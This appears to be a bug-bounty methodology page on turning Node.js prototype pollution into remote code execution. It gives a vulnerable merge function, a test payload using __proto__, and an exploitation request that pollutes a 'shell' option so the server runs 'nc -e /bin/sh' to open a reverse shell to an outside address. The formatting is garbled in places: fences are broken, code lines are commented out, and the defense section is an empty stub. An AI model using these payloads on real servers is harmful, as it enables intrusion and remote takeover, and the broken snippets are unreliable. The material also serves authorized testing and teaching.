Prototype Pollution to RCE (Node.js)

When to Use

• When auditing JavaScript (client-side) or Node.js (server-side) applications that perform deep merging, cloning, or path assignment on user-controlled JSON data.
• To escalate a seemingly minor logic flaw (modifying object properties) into full Remote Code Execution on the backend server.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Pollution Vector (Sink)

# Concept: Deep Merge const merge = (target, source) => {
    for (let attr in source) {
        if (typeof(target[attr]) === "object" && typeof(source[attr]) === "object") {
            merge(target[attr], source[attr]); // VULNERABLE } else {
            target[attr] = source[attr];
        }
    }
    return target;
};

Phase 2: Testing for Pollution

# POST /api/settings HTTP/1.1
Content-Type: application/json

{"__proto__": {"isAdmin": true}}

# ```

### Phase 3: Finding a Gadget (Path to RCE)

```javascript
# const { execSync } = require('child_process');

function executeCommand(opts) {
    // let shell = opts.shell || '/bin/sh'; 
    execSync('echo hello', { shell: shell });
}

Phase 4: Exploitation (Polluting the Gadget)

# POST /api/settings HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "shell": "node -e 'require(\"child_process\").execSync(\"nc -e /bin/sh 10.10.10.10 4444\")'"
  }
}

Decision Point 🔀

flowchart TD
    A[Test Prototype ] --> B{Pollution Verified ]}
    B -->|Yes| C[Find Gadgets ]
    B -->|No| D[Check Alternate ]
    C --> E[Exploit RCE ]

🔵 Blue Team Detection & Defense

• Input Sanitization: Safe Merging Libraries: Object.freeze() / Object.create(null): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Prototype Pollution Rce — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger: Prototype Pollution
• Infosec Writeups: NodeJS Prototype Pollution to RCE